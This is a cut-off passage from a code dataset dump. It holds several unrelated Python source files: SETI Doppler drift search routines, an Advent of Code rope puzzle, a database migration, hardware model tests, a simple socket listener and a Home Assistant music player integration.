files\n if data_obj.header['DELTAF'] < 0:\n drift_rate *= -1\n\n # SEARCH POSITIVE DRIFT RATES\n spectrum = tree_findoppler[indx: indx+tdwidth]\n\n # normalize\n spectrum -= self.the_mean_val\n spectrum /= self.the_stddev\n\n n_hits, max_val = hitsearch(spectrum, specstart, specend, self.snr, drift_rate, data_obj.header, fftlen, tdwidth, max_val, 0)\n info_str = \"Found %d hits at drift rate %15.15f\\n\"%(n_hits, drift_rate)\n max_val.total_n_hits += n_hits\n logger.debug(info_str)\n self.logwriter.info(info_str)\n\n # Writing the top hits to file.\n self.filewriter = tophitsearch(tree_findoppler_original, max_val, tsteps, nframes, data_obj.header, tdwidth,\n fftlen, self.max_drift,data_obj.obs_length, out_dir = self.out_dir,\n logwriter=self.logwriter, filewriter=self.filewriter, obs_info=self.obs_info)\n\n logger.info(\"Total number of candidates for coarse channel \"+ str(data_obj.header['coarse_chan']) +\" is: %i\"%max_val.total_n_hits)\n\n# ====================================================================== #\n\ndef populate_tree(spectra,tree_findoppler,nframes,tdwidth,tsteps,fftlen,shoulder_size,roll=0,reverse=0):\n \"\"\"This script populates the findoppler tree with the spectra.\n It creates two \"shoulders\" (each region of tsteps*(shoulder_size/2) in size) to avoid \"edge\" issues.\n It uses np.roll() for drift-rate blocks higher than 1.\n\n Args:\n spectra: ndarray, spectra calculated from file\n tree_findoppler: ndarray, tree to be populated with spectra\n nframes: int,\n tdwidth: int,\n tsteps: int,\n fftlen: int, length of fast fourier transform (fft) matrix\n shoulder_size: int, size of shoulder region\n roll: int, used to calculate amount each entry to the spectra should be rolled (shifted) (Default value = 0)\n reverse: int(boolean), used to determine which way spectra should be rolled (shifted) (Default value = 0)\n\n Returns:\n : ndarray, spectra-populated version of the input tree_findoppler\n\n \"\"\"\n\n if reverse:\n direction = -1\n else:\n direction = 1\n\n for i in range(0, nframes):\n sind = tdwidth*i + tsteps*int(shoulder_size/2)\n cplen = fftlen\n\n ##EE copy spectra into tree_findoppler, leaving two regions in each side blanck (each region of tsteps*(shoulder_size/2) in size).\n # Copy spectra into tree_findoppler, with rolling.\n np.copyto(tree_findoppler[sind: sind + cplen], np.roll(spectra[i],roll*i*direction))\n\n# ##EE loads the end part of the current spectrum into the left hand side black region in tree_findoppler (comment below says \"next spectra\" but for that need i+1...bug?)\n #load end of current spectra into left hand side of next spectra\n sind = i * tdwidth\n np.copyto(tree_findoppler[sind: sind + tsteps*int(shoulder_size/2)], spectra[i, fftlen-(tsteps*int(shoulder_size/2)):fftlen])\n\n return tree_findoppler\n\n\n\ndef hitsearch(spectrum, specstart, specend, hitthresh, drift_rate, header, fftlen, tdwidth, max_val, reverse):\n \"\"\"Searches for hits at given drift rate. A hit occurs in each channel if > hitthresh.\n\n Args:\n spectrum: ndarray,\n specstart: int, first index to search for hit in spectrum\n specend: int, last index to search for hit in spectrum\n hitthresh: float, signal to noise ratio used as threshold for determining hits\n drift_rate: float, drift rate at which we are searching for hits\n header: dict, header in fits header format. See data_handler.py's DATAH5 class header\n fftlen: int, UNUSED\n tdwidth: int,\n max_val: max_vals, object to be filled with max values from this search and then returned\n reverse: int(boolean), used to flag whether fine channel should be reversed\n\n Returns:\n : int, max_vals, j is the amount of hits.\n\n \"\"\"\n\n logger.debug('Start searching for hits at drift rate: %f'%drift_rate)\n j = 0\n for i in (spectrum[specstart:specend] > hitthresh).nonzero()[0] + specstart:\n k = (tdwidth - 1 - i) if reverse else i\n info_str = 'Hit found at SNR %f! %s\\t'%(spectrum[i], '(reverse)' if reverse else '')\n info_str += 'Spectrum index: %d, Drift rate: %f\\t'%(i, drift_rate)\n info_str += 'Uncorrected frequency: %f\\t'%chan_freq(header, k, tdwidth, 0)\n info_str += 'Corrected frequency: %f'%chan_freq(header, k, tdwidth, 1)\n logger.debug(info_str)\n j += 1\n used_id = j\n if spectrum[i] > max_val.maxsnr[k]:\n max_val.maxsnr[k] = spectrum[i]\n max_val.maxdrift[k] = drift_rate\n max_val.maxid[k] = used_id\n\n return j, max_val\n\ndef tophitsearch(tree_findoppler_original, max_val, tsteps, nframes, header, tdwidth, fftlen,max_drift,obs_length, out_dir='', logwriter=None, filewriter=None,obs_info=None):\n \"\"\"This finds the hits with largest SNR within 2*tsteps frequency channels.\n\n Args:\n tree_findoppler_original: ndarray, spectra-populated findoppler tree\n max_val: max_vals, contains max values from hitsearch\n tsteps: int,\n nframes: int, UNUSED\n header: dict, header in fits header format. See data_handler.py's DATAH5 class header. Used to report tophit in filewriter\n tdwidth: int,\n fftlen: int, length of fast fourier transform (fft) matrix\n max_drift: float, Max drift rate in Hz/second\n obs_length: float,\n out_dir: string, UNUSED (Default value = '')\n logwriter: LogWriter logwriter to which we should write if we find a top hit (Default value = None)\n filewriter: FileWriter filewriter corresponding to file to which we should save the\n local maximum of tophit. See report_tophit in filewriters.py (Default value = None)\n obs_info: dict, (Default value = None)\n\n Returns:\n : FileWriter, same filewriter that was input\n\n \"\"\"\n\n maxsnr = max_val.maxsnr\n logger.debug(\"original matrix size: %d\\t(%d, %d)\"%(len(tree_findoppler_original), tsteps, tdwidth))\n tree_orig = tree_findoppler_original.reshape((tsteps, tdwidth))\n logger.debug(\"tree_orig shape: %s\"%str(tree_orig.shape))\n\n for i in (maxsnr > 0).nonzero()[0]:\n lbound = int(max(0, i - obs_length*max_drift/2))\n ubound = int(min(tdwidth, i + obs_length*max_drift/2))\n\n skip = 0\n\n if (maxsnr[lbound:ubound] > maxsnr[i]).nonzero()[0].any():\n skip = 1\n\n if skip:\n logger.debug(\"SNR not big enough... %f pass... index: %d\"%(maxsnr[i], i))\n else:\n info_str = \"Top hit found! SNR: %f ... index: %d\"%(maxsnr[i], i)\n logger.info(info_str)\n if logwriter:\n logwriter.info(info_str)\n #logwriter.report_tophit(max_val, i, header)\n#EE logger.debug(\"slice of spectrum...size: %s\"%str(tree_orig[0:nframes, lbound:ubound].shape))\n if filewriter:\n filewriter = filewriter.report_tophit(max_val, i, (lbound, ubound), tdwidth, fftlen, header,max_val.total_n_hits,obs_info=obs_info)\n#EE: not passing array cut, since not saving in .dat file filewriter = filewriter.report_tophit(max_val, i, (lbound, ubound), tree_orig[0:nframes, lbound:ubound], header)\n\n##EE : Uncomment if want to save each blob np.save(out_dir + '/spec_drift_%.4f_id_%d.npy'%(max_val.maxdrift[i],i), tree_orig[0:nframes, lbound:ubound])\n else:\n logger.error('Not have filewriter? tell me why.')\n\n return filewriter\n","repo_name":"rtraas/turbo_seti","sub_path":"turbo_seti/find_doppler/find_doppler.py","file_name":"find_doppler.py","file_ext":"py","file_size_in_byte":20432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"76"} +{"seq_id":"32360395298","text":"input = open('puzzle_input', 'r')\n\nH = (0, 0)\nT = (0, 0)\nvisited = set([T, H])\ngame = (H, T, visited)\n\ndef move_tail(game):\n (H, T, visited) = game\n (hx, hy) = H\n (tx, ty) = T\n if hx == tx + 2:\n if hy == ty + 1:\n T = (tx + 1, ty + 1)\n elif hy == ty - 1:\n T = (tx + 1, ty - 1)\n else:\n T = (tx + 1, ty)\n elif hx == tx - 2:\n if hy == ty + 1:\n T = (tx - 1, ty + 1)\n elif hy == ty - 1:\n T = (tx - 1, ty - 1)\n else:\n T = (tx - 1, ty)\n elif hy == ty + 2:\n if hx == tx + 1:\n T = (tx + 1, ty + 1)\n elif hx == tx - 1:\n T = (tx - 1, ty + 1)\n else:\n T = (tx, ty + 1)\n elif hy == ty - 2:\n if hx == tx + 1:\n T = (tx + 1, ty - 1)\n elif hx == tx - 1:\n T = (tx - 1, ty - 1)\n else:\n T = (tx, ty - 1)\n visited.add(T)\n return (H, T, visited)\n\n\ndef move_head(move, game):\n (H, T, visited) = game\n (dir, len) = move\n for _ in range(len):\n (hx, hy) = H\n if dir == 'R':\n H = (hx + 1, hy)\n if dir == 'U':\n H = (hx, hy + 1)\n if dir == 'L':\n H = (hx - 1, hy)\n if dir == 'D':\n H = (hx, hy - 1)\n H, T, visited = move_tail((H, T, visited))\n return((H, T, visited))\n\nfor line in input:\n line = line.split()\n direction = line[0]\n length = int(line[1])\n move = (direction, length)\n game = move_head(move, game)\n\nprint(len(visited))\n","repo_name":"seanjones2848/advent_of_code_2022","sub_path":"day_9/part_1.py","file_name":"part_1.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"20847448231","text":"import requests\nimport json\n\nfrom st2common.runners.base_action import Action\n\n\nclass CreateMigrationPlanAction(Action):\n def run(self, url,\n tenant_id,\n user_id,\n name,\n description,\n src_bucket_name,\n dest_bucket_name,\n remain_source,\n auth_token):\n data = {\n \"tenantId\": tenant_id,\n \"userId\": user_id,\n \"Description\": description,\n \"Name\": name,\n \"Type\": \"migration\",\n \"RemainSource\": remain_source,\n \"SourceConn\": {\n \"StorType\": \"opensds-obj\",\n \"BucketName\": src_bucket_name\n },\n \"DestConn\": {\n \"StorType\": \"opensds-obj\",\n \"BucketName\": dest_bucket_name\n }\n }\n headers = {\n 'accept': 'application/json',\n 'content-type': 'application/json',\n 'x-auth-token': auth_token\n }\n r = requests.post(url=url, data=json.dumps(data), headers=headers)\n r.raise_for_status()\n resp = r.json()\n return resp[\"plan\"][\"id\"]\n","repo_name":"sodafoundation/orchestration","sub_path":"contrib/st2/opensds/actions/create_bucket_migration.py","file_name":"create_bucket_migration.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"76"} +{"seq_id":"71837357044","text":"class Solution:\n # @param {integer[][]} obstacleGrid\n # @return {integer}\n def uniquePathsWithObstacles(self, obstacleGrid):\n if len(obstacleGrid) == 0:\n return 0\n \n dp = [0] * len(obstacleGrid[0])\n dp[0] = 1 if 0 == obstacleGrid[0][0] else 0\n for row in obstacleGrid:\n dp[0] = 1 if 0 == row[0] and 1 == dp[0] else 0\n for i in xrange(1, len(row)):\n dp[i] = dp[i] + dp[i - 1] if 0 == row[i] else 0\n \n return dp[len(obstacleGrid[0]) - 1]\n","repo_name":"luodichen/leetcode-solution","sub_path":"accepted/63-unique-paths-ii.py","file_name":"63-unique-paths-ii.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"124992738","text":"\"\"\"create privacy declarations table\n\nRevision ID: 48d9caacebd4\nRevises: 3842d1acac5f\nCreate Date: 2023-04-20 20:35:05.377471\n\n\"\"\"\nimport json\nimport uuid\nfrom collections import defaultdict\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy import text\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"48d9caacebd4\"\ndown_revision = \"3842d1acac5f\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"privacydeclaration\",\n sa.Column(\"id\", sa.String(length=255), nullable=False),\n sa.Column(\n \"created_at\",\n sa.DateTime(timezone=True),\n server_default=sa.text(\"now()\"),\n nullable=True,\n ),\n sa.Column(\n \"updated_at\",\n sa.DateTime(timezone=True),\n server_default=sa.text(\"now()\"),\n nullable=True,\n ),\n sa.Column(\"name\", sa.String(), nullable=True),\n sa.Column(\"egress\", sa.ARRAY(sa.String()), nullable=True),\n sa.Column(\"ingress\", sa.ARRAY(sa.String()), nullable=True),\n sa.Column(\"data_use\", sa.String(), nullable=False),\n sa.Column(\"data_categories\", sa.ARRAY(sa.String()), nullable=True),\n sa.Column(\"data_qualifier\", sa.String(), nullable=True),\n sa.Column(\"data_subjects\", sa.ARRAY(sa.String()), nullable=True),\n sa.Column(\"dataset_references\", sa.ARRAY(sa.String()), nullable=True),\n sa.Column(\"system_id\", sa.String(), nullable=False),\n sa.ForeignKeyConstraint(\n [\"system_id\"],\n [\"ctl_systems.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n\n op.create_index(\n op.f(\"ix_privacydeclaration_data_use\"),\n \"privacydeclaration\",\n [\"data_use\"],\n unique=False,\n )\n op.create_index(\n op.f(\"ix_privacydeclaration_id\"), \"privacydeclaration\", [\"id\"], unique=False\n )\n op.create_index(\n op.f(\"ix_privacydeclaration_name\"), \"privacydeclaration\", [\"name\"], unique=False\n )\n op.create_index(\n op.f(\"ix_privacydeclaration_system_id\"),\n \"privacydeclaration\",\n [\"system_id\"],\n unique=False,\n )\n\n # Data migration\n\n bind = op.get_bind()\n existing_declarations = bind.execute(\n text(\"SELECT id, privacy_declarations FROM ctl_systems;\")\n )\n for row in existing_declarations:\n system_id = row[\"id\"]\n old_privacy_declarations = row[\"privacy_declarations\"]\n for privacy_declaration in old_privacy_declarations:\n new_privacy_declaration_id: str = \"pri_\" + str(uuid.uuid4())\n new_data = {\n **privacy_declaration,\n \"system_id\": system_id,\n \"id\": new_privacy_declaration_id,\n }\n\n insert_privacy_declarations_query = text(\n \"INSERT INTO privacydeclaration (id, name, data_categories, data_qualifier, data_subjects, dataset_references, egress, ingress, system_id, data_use) \"\n \"VALUES (:id, :name, :data_categories, :data_qualifier, :data_subjects, :dataset_references, :egress, :ingress, :system_id, :data_use)\"\n )\n\n bind.execute(\n insert_privacy_declarations_query,\n new_data,\n )\n\n op.drop_column(\"ctl_systems\", \"privacy_declarations\")\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\n \"ctl_systems\",\n sa.Column(\n \"privacy_declarations\",\n postgresql.JSON(astext_type=sa.Text()),\n autoincrement=False,\n nullable=True,\n ),\n )\n\n # Data migration\n\n bind = op.get_bind()\n existing_declarations = bind.execute(\n text(\n \"SELECT id, name, data_categories, data_qualifier, data_subjects, dataset_references, egress, ingress, system_id, data_use FROM privacydeclaration;\"\n )\n )\n pds_by_system = defaultdict(list)\n for row in existing_declarations:\n system_id = row[\"system_id\"]\n privacy_declaration = {\n \"name\": row[\"name\"],\n \"data_categories\": row[\"data_categories\"],\n \"data_qualifier\": row[\"data_qualifier\"],\n \"data_subjects\": row[\"data_subjects\"],\n \"dataset_references\": row[\"dataset_references\"],\n \"egress\": row[\"egress\"],\n \"ingress\": row[\"ingress\"],\n \"data_use\": row[\"data_use\"],\n }\n pds_by_system[system_id].append(privacy_declaration)\n\n for system_id, pds in pds_by_system.items():\n privacy_declarations = json.dumps(pds)\n update_systems_query = text(\n \"update ctl_systems set privacy_declarations = :privacy_declarations where id = :system_id;\"\n )\n\n bind.execute(\n update_systems_query,\n {\"system_id\": system_id, \"privacy_declarations\": privacy_declarations},\n )\n\n op.drop_index(\n op.f(\"ix_privacydeclaration_system_id\"), table_name=\"privacydeclaration\"\n )\n op.drop_index(op.f(\"ix_privacydeclaration_name\"), table_name=\"privacydeclaration\")\n op.drop_index(op.f(\"ix_privacydeclaration_id\"), table_name=\"privacydeclaration\")\n op.drop_index(\n op.f(\"ix_privacydeclaration_data_use\"), table_name=\"privacydeclaration\"\n )\n op.drop_table(\"privacydeclaration\")\n # ### end Alembic commands ###\n","repo_name":"ethyca/fides","sub_path":"src/fides/api/alembic/migrations/versions/48d9caacebd4_create_privacy_declarations_table.py","file_name":"48d9caacebd4_create_privacy_declarations_table.py","file_ext":"py","file_size_in_byte":5496,"program_lang":"python","lang":"en","doc_type":"code","stars":302,"dataset":"github-code","pt":"76"} +{"seq_id":"11134708125","text":"from unittest import TestCase\n\nfrom .helpers import TempDir\nfrom system76driver.mockable import SubProcess\nfrom system76driver import products, model\n\n\nOUTPUTS = (\n b'CCF59000-5FBA-0000-0000-000000000000\\n',\n b'Gazelle Professional\\n',\n b'Gazelle Professional\\n',\n b'gazp7\\n',\n)\n\nEXPECTED = (\n ('system-uuid', 'CCF59000-5FBA-0000-0000-000000000000'),\n ('baseboard-product-name', 'Gazelle Professional'),\n ('system-product-name', 'Gazelle Professional'),\n ('system-version', 'gazp7'),\n)\n\n\nclass TestConstants(TestCase):\n def test_KEYWORDS(self):\n self.assertIsInstance(model.KEYWORDS, tuple)\n self.assertEqual(len(model.KEYWORDS), 4)\n for keyword in model.KEYWORDS:\n self.assertIsInstance(keyword, str)\n\n def test_TABLES(self):\n self.assertIsInstance(model.TABLES, dict)\n self.assertEqual(len(model.TABLES), 4)\n self.assertEqual(set(model.TABLES), set(model.KEYWORDS))\n for (keyword, table) in model.TABLES.items():\n self.assertIsInstance(keyword, str)\n self.assertIsInstance(table, dict)\n self.assertGreater(len(table), 0)\n for (key, value) in table.items():\n self.assertIsInstance(key, str)\n self.assertIsInstance(value, str)\n # 'system-version' is currently always the same:\n for (key, value) in model.TABLES['system-version'].items():\n self.assertEqual(key, value)\n\n # Extra careful checks for models that occur more than once in TABLES:\n reverse = {}\n for (keyword, table) in model.TABLES.items():\n for (key, value) in table.items():\n if value not in reverse:\n reverse[value] = set()\n reverse[value].add((keyword, key))\n self.assertEqual(set(reverse), set(products.PRODUCTS))\n\n multi = {}\n for (value, occurances) in reverse.items():\n if len(occurances) > 1:\n multi[value] = occurances\n expected = {\n 'daru1': set([\n ('baseboard-product-name', 'Z35FM'),\n ('baseboard-product-name', 'Z35F'),\n ]),\n 'gazp3': set([\n ('system-product-name', 'Z62JM'),\n ('system-product-name', 'Z62JP'),\n\n ]),\n 'panv2': set([\n ('system-product-name', 'Z96F'),\n ('system-product-name', 'Centoris V661'),\n ('system-product-name', 'Z96FM'),\n ]),\n 'serp1': set([\n ('system-product-name', 'HEL80I'),\n ('system-product-name', 'HEL8X'),\n ]),\n 'star1': set([\n ('system-product-name', 'UW1'),\n ('system-product-name', 'star1'),\n ]),\n 'star2': set([\n ('system-product-name', 'E10IS'),\n ('system-product-name', 'E10IS2'),\n ('system-product-name', 'Star2'),\n ]),\n 'bonp2': set([\n ('system-product-name', 'M570TU'),\n ('system-version', 'bonp2'),\n ]),\n 'daru3': set([\n ('system-product-name', 'M720T/M730T'),\n ('system-version', 'daru3'),\n ]),\n 'panp4n': set([\n ('system-product-name', 'M740TU/M760TU'),\n ('system-version', 'panp4n'),\n ]),\n 'serp5': set([\n ('system-product-name', 'M860TU'),\n ('system-version', 'serp5'),\n ]), \n }\n self.assertEqual(set(multi), set(expected))\n for key in sorted(multi):\n self.assertEqual(multi[key], expected[key], key)\n self.assertEqual(multi, expected)\n\n\nclass TestFunctions(TestCase):\n def test_dmidecode(self):\n SubProcess.reset(True, [b'bar\\n'])\n self.assertEqual(model.dmidecode('foo'), 'bar')\n self.assertEqual(SubProcess.calls, [\n ('check_output', ['dmidecode', '-s', 'foo'], {}),\n ])\n self.assertEqual(SubProcess.outputs, [])\n\n def test_get_dmi_info(self):\n SubProcess.reset(True, OUTPUTS)\n self.assertEqual(model.get_dmi_info(), dict(EXPECTED))\n self.assertEqual(SubProcess.calls, [\n ('check_output', ['dmidecode', '-s', 'system-uuid'], {}),\n ('check_output', ['dmidecode', '-s', 'baseboard-product-name'], {}),\n ('check_output', ['dmidecode', '-s', 'system-product-name'], {}),\n ('check_output', ['dmidecode', '-s', 'system-version'], {}),\n ])\n self.assertEqual(SubProcess.outputs, [])\n\n def test_determine_model_1(self):\n \"\"\"\n Test `determine_model()` when *info* is not provided.\n \"\"\"\n SubProcess.reset(True, OUTPUTS)\n self.assertEqual(model.determine_model(), 'gazp7')\n self.assertEqual(SubProcess.calls, [\n ('check_output', ['dmidecode', '-s', 'system-uuid'], {}),\n ('check_output', ['dmidecode', '-s', 'baseboard-product-name'], {}),\n ('check_output', ['dmidecode', '-s', 'system-product-name'], {}),\n ('check_output', ['dmidecode', '-s', 'system-version'], {}),\n ])\n self.assertEqual(SubProcess.outputs, [])\n\n def test_determine_model_2(self):\n \"\"\"\n Test `determine_model()` when *info* is provided.\n \"\"\"\n SubProcess.reset(True)\n\n # system-uuid:\n info = {'system-uuid': '00000000-0000-0000-0000-000000000001'}\n self.assertEqual(model.determine_model(info), 'koap1')\n\n # baseboard-product-name:\n info = {'system-uuid': 'nope', 'baseboard-product-name': 'Z35FM'}\n self.assertEqual(model.determine_model(info), 'daru1')\n\n info = {'system-uuid': 'nope', 'baseboard-product-name': 'Z35F'}\n self.assertEqual(model.determine_model(info), 'daru1')\n\n info = {'system-uuid': 'nope', 'baseboard-product-name': 'MS-1221'}\n self.assertEqual(model.determine_model(info), 'daru2')\n\n info = {'system-uuid': 'nope', 'baseboard-product-name': 'MS-1221'}\n self.assertEqual(model.determine_model(info), 'daru2')\n\n # system-uuid:\n for (key, value) in model.TABLES['system-uuid'].items():\n info = {'system-uuid': key}\n self.assertEqual(model.determine_model(info), value)\n\n # baseboard-product-name:\n for (key, value) in model.TABLES['baseboard-product-name'].items():\n info = {\n 'system-uuid': 'nope',\n 'baseboard-product-name': key,\n }\n self.assertEqual(model.determine_model(info), value)\n\n # system-product-name:\n for (key, value) in model.TABLES['system-product-name'].items():\n info = {\n 'system-uuid': 'nope',\n 'baseboard-product-name': 'nope',\n 'system-product-name': key,\n }\n self.assertEqual(model.determine_model(info), value)\n\n # system-version:\n for (key, value) in model.TABLES['system-version'].items():\n info = {\n 'system-uuid': 'nope',\n 'baseboard-product-name': 'nope',\n 'system-product-name': 'nope',\n 'system-version': key,\n }\n self.assertEqual(model.determine_model(info), value)\n\n # non-System76:\n info = {\n 'system-uuid': 'nope',\n 'baseboard-product-name': 'nope',\n 'system-product-name': 'nope',\n 'system-version': 'nope',\n }\n self.assertEqual(model.determine_model(info), 'nonsystem76')\n\n # No calls should have resulted:\n self.assertEqual(SubProcess.calls, [])\n self.assertEqual(SubProcess.outputs, [])\n\n def test_determine_model_new(self):\n for val in model.TABLES['system-version']:\n tmp = TempDir()\n tmp.makedirs('class', 'dmi', 'id')\n tmp.write(val.encode(), 'class', 'dmi', 'id', 'product_version')\n self.assertEqual(model.determine_model_new(sysdir=tmp.dir), val)\n tmp = TempDir()\n tmp.makedirs('class', 'dmi', 'id')\n tmp.write(b'nope', 'class', 'dmi', 'id', 'product_version')\n SubProcess.reset(True, OUTPUTS)\n self.assertEqual(model.determine_model_new(sysdir=tmp.dir), 'gazp7')\n self.assertEqual(SubProcess.calls, [\n ('check_output', ['dmidecode', '-s', 'system-uuid'], {}),\n ('check_output', ['dmidecode', '-s', 'baseboard-product-name'], {}),\n ('check_output', ['dmidecode', '-s', 'system-product-name'], {}),\n ('check_output', ['dmidecode', '-s', 'system-version'], {}),\n ])\n self.assertEqual(SubProcess.outputs, [])\n\n","repo_name":"pop-os/system76-driver","sub_path":"system76driver/tests/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":8773,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"76"} +{"seq_id":"19142036578","text":"import socket\n\nhost, port = ('',5566)\n\nsocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nsocket.bind((host,port))\nprint(\"Le Serveur est démarré !\")\n\nwhile True:\n socket.listen(5)\n connectin, address = socket.accept()\n print('En écoute...')\n\nconnectin.close()\nsocket.close()","repo_name":"MathKode/Mes_petits_Projets","sub_path":"Serv.py","file_name":"Serv.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"28763725421","text":"import logging, time, datetime\n\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.helpers.event import track_time_interval\nfrom homeassistant.components.media_player import MediaPlayerEntity, MediaPlayerDeviceClass\nfrom homeassistant.components.media_player.const import (\n SUPPORT_BROWSE_MEDIA,\n SUPPORT_TURN_OFF,\n SUPPORT_TURN_ON,\n SUPPORT_VOLUME_STEP,\n SUPPORT_VOLUME_SET,\n SUPPORT_VOLUME_MUTE,\n SUPPORT_SELECT_SOURCE,\n SUPPORT_SELECT_SOUND_MODE,\n SUPPORT_PLAY_MEDIA,\n SUPPORT_PLAY,\n SUPPORT_PAUSE,\n SUPPORT_SEEK,\n SUPPORT_CLEAR_PLAYLIST,\n SUPPORT_SHUFFLE_SET,\n SUPPORT_REPEAT_SET,\n SUPPORT_NEXT_TRACK,\n SUPPORT_PREVIOUS_TRACK,\n MEDIA_TYPE_ALBUM,\n MEDIA_TYPE_ARTIST,\n MEDIA_TYPE_CHANNEL,\n MEDIA_TYPE_EPISODE,\n MEDIA_TYPE_MOVIE,\n MEDIA_TYPE_PLAYLIST,\n MEDIA_TYPE_SEASON,\n MEDIA_TYPE_TRACK,\n MEDIA_TYPE_TVSHOW,\n)\nfrom homeassistant.const import (\n CONF_TOKEN, \n CONF_URL,\n CONF_NAME,\n STATE_OFF, \n STATE_ON, \n STATE_PLAYING,\n STATE_PAUSED,\n STATE_IDLE,\n STATE_UNAVAILABLE\n)\n\nfrom .manifest import manifest\nDOMAIN = manifest.domain\n\n_LOGGER = logging.getLogger(__name__)\n\nSUPPORT_FEATURES = SUPPORT_VOLUME_STEP | SUPPORT_VOLUME_MUTE | SUPPORT_VOLUME_SET | \\\n SUPPORT_SELECT_SOURCE | SUPPORT_SELECT_SOUND_MODE | \\\n SUPPORT_PLAY_MEDIA | SUPPORT_PLAY | SUPPORT_PAUSE | SUPPORT_PREVIOUS_TRACK | SUPPORT_NEXT_TRACK | \\\n SUPPORT_BROWSE_MEDIA | SUPPORT_SEEK | SUPPORT_CLEAR_PLAYLIST | SUPPORT_SHUFFLE_SET | SUPPORT_REPEAT_SET\n\n# 定时器时间\nTIME_BETWEEN_UPDATES = datetime.timedelta(seconds=2)\n\nasync def async_setup_entry(\n hass: HomeAssistant,\n entry: ConfigEntry,\n async_add_entities: AddEntitiesCallback,\n) -> None: \n media_player = CloudMusicMediaPlayer(hass)\n\n await hass.async_add_executor_job(track_time_interval, hass, media_player.interval, TIME_BETWEEN_UPDATES)\n async_add_entities([ media_player ], True)\n\nclass CloudMusicMediaPlayer(MediaPlayerEntity):\n\n def __init__(self, hass):\n self.hass = hass\n self._attributes = {\n 'platform': 'cloud_music'\n }\n # fixed attribute\n self._attr_media_image_remotely_accessible = True\n self._attr_device_class = MediaPlayerDeviceClass.TV.value\n self._attr_supported_features = SUPPORT_FEATURES\n\n # default attribute\n self._attr_source_list = []\n self._attr_sound_mode = None\n self._attr_sound_mode_list = []\n self._attr_name = manifest.name\n self._attr_unique_id = manifest.documentation\n self._attr_state = STATE_ON\n self._attr_volume_level = 1\n self._attr_repeat = 'all'\n self._attr_shuffle = False\n\n self.cloud_music = hass.data['cloud_music']\n self.before_state = None\n self.current_state = None\n\n def interval(self, now):\n # 暂停时不更新\n if self._attr_state == STATE_PAUSED:\n return\n\n media_player = self.media_player\n if media_player is not None:\n attrs = media_player.attributes\n self._attr_media_position = attrs.get('media_position', 0)\n self._attr_media_duration = attrs.get('media_duration', 0)\n self._attr_media_position_updated_at = datetime.datetime.now()\n # 判断是否下一曲\n if self.before_state is not None:\n # 判断音乐总时长\n if self.before_state['media_duration'] > 0 and self.before_state['media_duration'] - self.before_state['media_duration'] <= 5:\n # 判断源音乐播放器状态\n if self.before_state['state'] == STATE_PLAYING and self.current_state == STATE_IDLE:\n self.hass.async_create_task(self.async_media_next_track())\n self.before_state = None\n return\n\n self.before_state = {\n 'media_position': self._attr_media_position,\n 'media_duration': self._attr_media_duration,\n 'state': self.current_state\n }\n self.current_state = media_player.state\n\n if hasattr(self, 'playlist'):\n music_info = self.playlist[self.playindex]\n self._attr_app_name = music_info.singer\n self._attr_media_image_url = music_info.thumbnail\n self._attr_media_album_name = music_info.album\n self._attr_media_title = music_info.song\n self._attr_media_artist = music_info.singer\n\n @property\n def media_player(self):\n if self.entity_id is not None and self._attr_sound_mode is not None:\n return self.hass.states.get(self._attr_sound_mode)\n\n @property\n def device_info(self):\n return {\n 'identifiers': {\n (DOMAIN, manifest.documentation)\n },\n 'name': self.name,\n 'manufacturer': 'shaonianzhentan',\n 'model': 'CloudMusic',\n 'sw_version': manifest.version\n }\n\n @property\n def extra_state_attributes(self):\n return self._attributes\n\n async def async_browse_media(self, media_content_type=None, media_content_id=None):\n return await self.cloud_music.async_browse_media(self, media_content_type, media_content_id)\n\n async def async_select_source(self, source):\n if self._attr_source_list.count(source) > 0:\n self._attr_source = source\n\n async def async_select_sound_mode(self, sound_mode):\n if self._attr_sound_mode_list.count(sound_mode) > 0:\n await self.async_media_pause()\n self._attr_sound_mode = sound_mode\n\n async def async_volume_up(self):\n await self.async_call('volume_up')\n\n async def async_volume_down(self):\n await self.async_call('volume_down')\n\n async def async_mute_volume(self, mute):\n await self.async_call('mute_volume', { 'mute': mute })\n\n async def async_set_volume_level(self, volume: float):\n self._attr_volume_level = volume\n await self.async_call('volume_set', { 'volume_level': volume })\n\n async def async_play_media(self, media_type, media_id, **kwargs):\n\n self._attr_state = STATE_PAUSED\n \n media_content_id = media_id\n result = await self.cloud_music.async_play_media(self, self.cloud_music, media_id)\n if result is not None:\n if result == 'index':\n # 播放当前列表指定项\n media_content_id = self.playlist[self.playindex].url\n elif result.startswith('http'):\n # HTTP播放链接\n media_content_id = result\n else:\n # 添加播放列表到播放器\n media_content_id = self.playlist[self.playindex].url\n\n self._attr_media_content_id = media_content_id\n await self.async_call('play_media', {\n 'media_content_id': media_content_id,\n 'media_content_type': 'music'\n })\n self._attr_state = STATE_PLAYING\n\n self.before_state = None\n\n async def async_media_play(self):\n self._attr_state = STATE_PLAYING\n await self.async_call('media_play')\n\n async def async_media_pause(self):\n self._attr_state = STATE_PAUSED\n await self.async_call('media_pause')\n\n async def async_set_repeat(self, repeat):\n self._attr_repeat = repeat\n\n async def async_set_shuffle(self, shuffle):\n self._attr_shuffle = shuffle\n\n async def 